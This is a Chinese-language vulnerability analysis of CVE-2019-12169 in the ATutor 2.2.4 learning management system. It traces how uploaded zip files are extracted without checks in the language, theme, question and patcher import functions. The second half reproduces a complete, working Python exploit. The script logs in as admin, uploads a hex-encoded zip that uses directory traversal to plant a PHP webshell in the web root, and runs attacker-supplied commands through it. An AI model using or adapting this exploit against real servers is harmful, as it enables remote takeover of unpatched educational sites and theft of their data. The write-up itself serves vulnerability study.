(CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞¶
一、漏洞简介¶
ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统(LCMS)。该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、 Moddle及Sakai号称为四大开源课程管理系统。
ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169)。攻击者可利用该漏洞进行远程代码执行攻击。
经过分析发现,除了CVE-2019-1216所报道的语言导入功能外,ATutor在其他功能模块中也大量存在着相似的漏洞,本文会在后面针对这一点进行介绍。
二、漏洞影响¶
ATutor 2.2.4
三、复现过程¶
据漏洞披露可知,漏洞触发点存在于mods/_core/languages/language_import.php
文件中
首先跟入language_import.php文件
PHP
<?php
/****************************************************************/
/* ATutor */
/****************************************************************/
/* Copyright (c) 2002-2010 */
/* Inclusive Design Institute */
/* http://atutor.ca */
/* */
/* This program is free software. You can redistribute it and/or*/
/* modify it under the terms of the GNU General Public License */
/* as published by the Free Software Foundation. */
/****************************************************************/
// $Id$
define('AT_INCLUDE_PATH', '../../../include/');
require(AT_INCLUDE_PATH.'vitals.inc.php');
admin_authenticate(AT_ADMIN_PRIV_LANGUAGES);
require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguageEditor.class.php');
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');
/* to avoid timing out on large files */
@set_time_limit(0);
$_SESSION['done'] = 1;
if (isset($_POST['submit_import'])){
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/RemoteLanguageManager.class.php');
$remoteLanguageManager = new RemoteLanguageManager();
$language_code = explode("_",$_POST['language']);
$remoteLanguageManager->import($_POST['language']);
header('Location: language_import.php');
exit;
} else if (isset($_POST['submit']) && (!is_uploaded_file($_FILES['file']['tmp_name']) || !$_FILES['file']['size'])) {
$msg->addError('LANG_IMPORT_FAILED');
} else if (isset($_POST['submit']) && !$_FILES['file']['name']) {
$msg->addError('IMPORTFILE_EMPTY');
} else if (isset($_POST['submit']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
$languageManager->import($_FILES['file']['tmp_name']);
header('Location: ./language_import.php');
exit;
}
从language_import.php文件中35行起,可以发现文件上传相关代码
从上图红框中代码可知,此处代码块是对文件上传情况进行校验
在文件成功上传后,进入下一个if分支
在这个分支里,程序将调用$languageManager->import方法对文件进行处理
继续跟入import方法,位于/mods/_core/languages/classes/LanguageManager.class.php
文件中
PHP
// public
// import language pack from specified file
function import($filename) {
global $languageManager, $msg;
if(strstr($_FILES['file']['name'], 'master')){
// hack to create path to subdir for imported github language packs
$import_dir = str_replace(".zip", "", $_FILES['file']['name']).'/';
} else if(isset($_POST['language'])){
$import_dir = $_POST['language'].'-master/';
}
require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');
$import_path = AT_CONTENT_DIR . 'import/';
$import_path_tmp = $import_path.$import_dir;
$language_xml = @file_get_contents($import_path.'language.xml');
$archive = new PclZip($filename);
if ($archive->extract( PCLZIP_OPT_PATH, $import_path) == 0) {
exit('Error : ' . $archive->errorInfo(true));
}
在import方法中程序调用PclZip对压缩包进行处理
PHP
$archive = new PclZip($filename);
if ($archive->extract( PCLZIP_OPT_PATH, $import_path) == 0) {
exit('Error : ' . $archive->errorInfo(true));
}
为了更好的理解import方法的执行流程,我们将会进行动态调试。首先构造一个poc.php
PHP
<?php phpinfo(); ?>
将这个poc.php打包为poc.zip
访问如下链接以进入上传页面
https://www.0-sec.org/ATutor/mods/_core/languages/language_import.php
在上传语言包页面中选择构造好的poc.zip并点击import按钮上传。当请求发送给后台服务器,程序执行到下图断点处
此时的$import_path值为atutor应用的/content/import路径:"content/import/",程序调用PclZip的extract方法对压缩包进行解压。接下来我们介绍以下PclZip类
PclZip
PclZip是一个强大的压缩与解压缩zip文件的PHP类,PclZip library不仅能够压缩与解压缩Zip格式的文件;还能解压缩文档中的内容,同时也可以对现有的ZIP包进行添加或删除文件。
我们接下来看下import方法中是如何使用PclZip,见下图
程序创建了上传的zip压缩包的一个PclZip对象进行操作与控制,在解压过程中使用了extract方法。该方法中第一个参数是设置项,第二个是对应设置项的值
我们来看下PCLZIP_OPT_PATH设置项的作用
可见,PCLZIP_OPT_PATH设置项指定我们上传的zip文件解压目录为$import_path参数对应的路径
解压成功后,poc.zip中内容出现在对应文件夹中
查看poc.php中的值,可以发现poc上传成功
访问如下地址,触发poc
除此之外,该应用几乎所有import接口,在后台都采用PclZip将上传的zip解压到对应目录中。然而这些操作无一例外的未对压缩包中的文件进行校验。下面举几个例子:
位于mods/_core/themes/import.php
文件中的主题导入功能,代码如下:
PHP
/**
* Imports a theme from a URL or Zip file to Atutor
* @access private
* @author Shozub Qureshi
*/
function import_theme() {
global $db;
global $msg;
if (isset($_POST['url']) && ($_POST['url'] != 'http://') ) {
if ($content = @file_get_contents($_POST['url'])) {
⋮
// unzip file and save into directory in themes
$archive = new PclZip($_FILES['file']['tmp_name']);
//extract contents to importpath/foldrname
if (!$archive->extract($import_path)) {
$errors = array('IMPORT_ERROR_IN_ZIP', $archive->errorInfo(true));
clr_dir($import_path);
$msg->addError($errors);
header('Location: index.php');
exit;
}
可以发现这里也使用了extract方法将上传文件进行解压
来看一下导入主题功能对应的前端页面
这里页面与导入语音包的页面极其相似,只不过最终解压后存放的路径不同,不再是content/import/,而是themes/
在此处上传构造好的poc.zip,最终poc.php将会被解压到themes文件夹中
位于/mods/_standard/tests/question_import.php
文件的问题导入功能
位于mods/_standard/patcher/index_admin.php
文件的补丁导入功能
这些功能无一例外的存在着相似的漏洞
poc¶
CVE-2019-12169.py
#!/usr/bin/env python
#
# Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
# Date: 5/24/19
# Exploit Author: liquidsky (JMcPeters)
# Vendor Homepage: https://atutor.github.io/
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
# Version: 2.2.4
# Tested on: Windows 8 / Apache / MySQL (XAMPP)
# CVE : CVE-2019-12169
# Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/
# : https://github.com/fuzzlove
#
# Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal
# resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component.
#
# Greetz: wetw0rk, offsec ^^
#
# Notes: This application is no longer being maintained so there is no fix for this issue.
import sys, hashlib, requests
import urllib
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import time
print "+-------------------------------------------------------------+"
print
print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]"
print
print "- Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"
try:
#settings
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
commands = sys.argv[4]
except IndexError:
print
print "- usage: %s <target> <username> <password> <command>" % sys.argv[0]
print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0]
print
sys.exit()
# headers to upload zip
headers = {
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169",
}
# Note: This was successfully tested against a windows install however it should work with linux.
# -----
# This will drop a shell on c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
# using directory traversal.
# php file payload
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x2e\x7a\x69\x70"
data += "\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
data += "\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x7a"
data += "\x69\x70\x0d\x0a\x0d\x0a\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x5c"
data += "\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70\x5c"
data += "\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73\x6b"
data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
data += "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77\x77"
data += "\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73\x6b"
data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x80\x01\x00\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e"
data += "\x5c\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70"
data += "\x5c\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73"
data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x80\x01\xb4\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e"
data += "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77"
data += "\x77\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73"
data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x02"
data += "\x00\x02\x00\xb4\x00\x00\x00\x68\x01\x00\x00\x00\x00\x0d\x0a"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x0d\x0a"
data += "\x0d\x0a\x49\x6d\x70\x6f\x72\x74\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43\x56\x45\x32\x30\x31"
data += "\x39\x31\x32\x31\x36\x39\x2d\x2d\x0d\x0a"
#reverse shell url
shell = "http://" + target + "/liquidsky.php?language=" + commands
# Generate Hash
def gen_hash(passwd, token):
m= hashlib.sha1()
m.update(passwd + token)
return m.hexdigest()
def we_can_get_jiggy_with_the_pass():
# Run pass through SHA1
hash_object = hashlib.sha1(password)
hex_dig = hash_object.hexdigest()
print "[*] Got SHA1 for pass: " + (hex_dig)
targeturl = "http://" + target + "/ATutor/login.php"
token = "abc"
hashed = gen_hash(hex_dig, token)
d = {
"form_password_hidden" : hashed,
"form_login": "admin",
"submit": "Login",
"token" : token
}
s = requests.Session()
#Logging in
r = s.post(targeturl, data=d)
print "[+] Logging in to system as %s ..." % (username)
res = r.text
# url settings, duh
url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php"
# A similar method works for the "patcher" function.
# url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php"
# This is "the" request to send the zip
request = s.post(url, headers=headers, data=data, verify=False)
print "[+] Sent the zip ......"
time.sleep(1)
# Grab shell dude!
print "[!] *** Remote Code Execution ***"
request = s.post(shell, verify=False)
print "[x] http://" + target + "/liquidsky.php?language=" + commands
# Note be sure to clean up: c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
if "Administration" in res:
return True
return False
def main():
if we_can_get_jiggy_with_the_pass():
print ""
print "[+] Success! we were able to login!"
print ""
print " ^_~ got r00t? - [liquidsky 2019]"
else: print "[-] failure!"
if __name__ == "__main__":
main()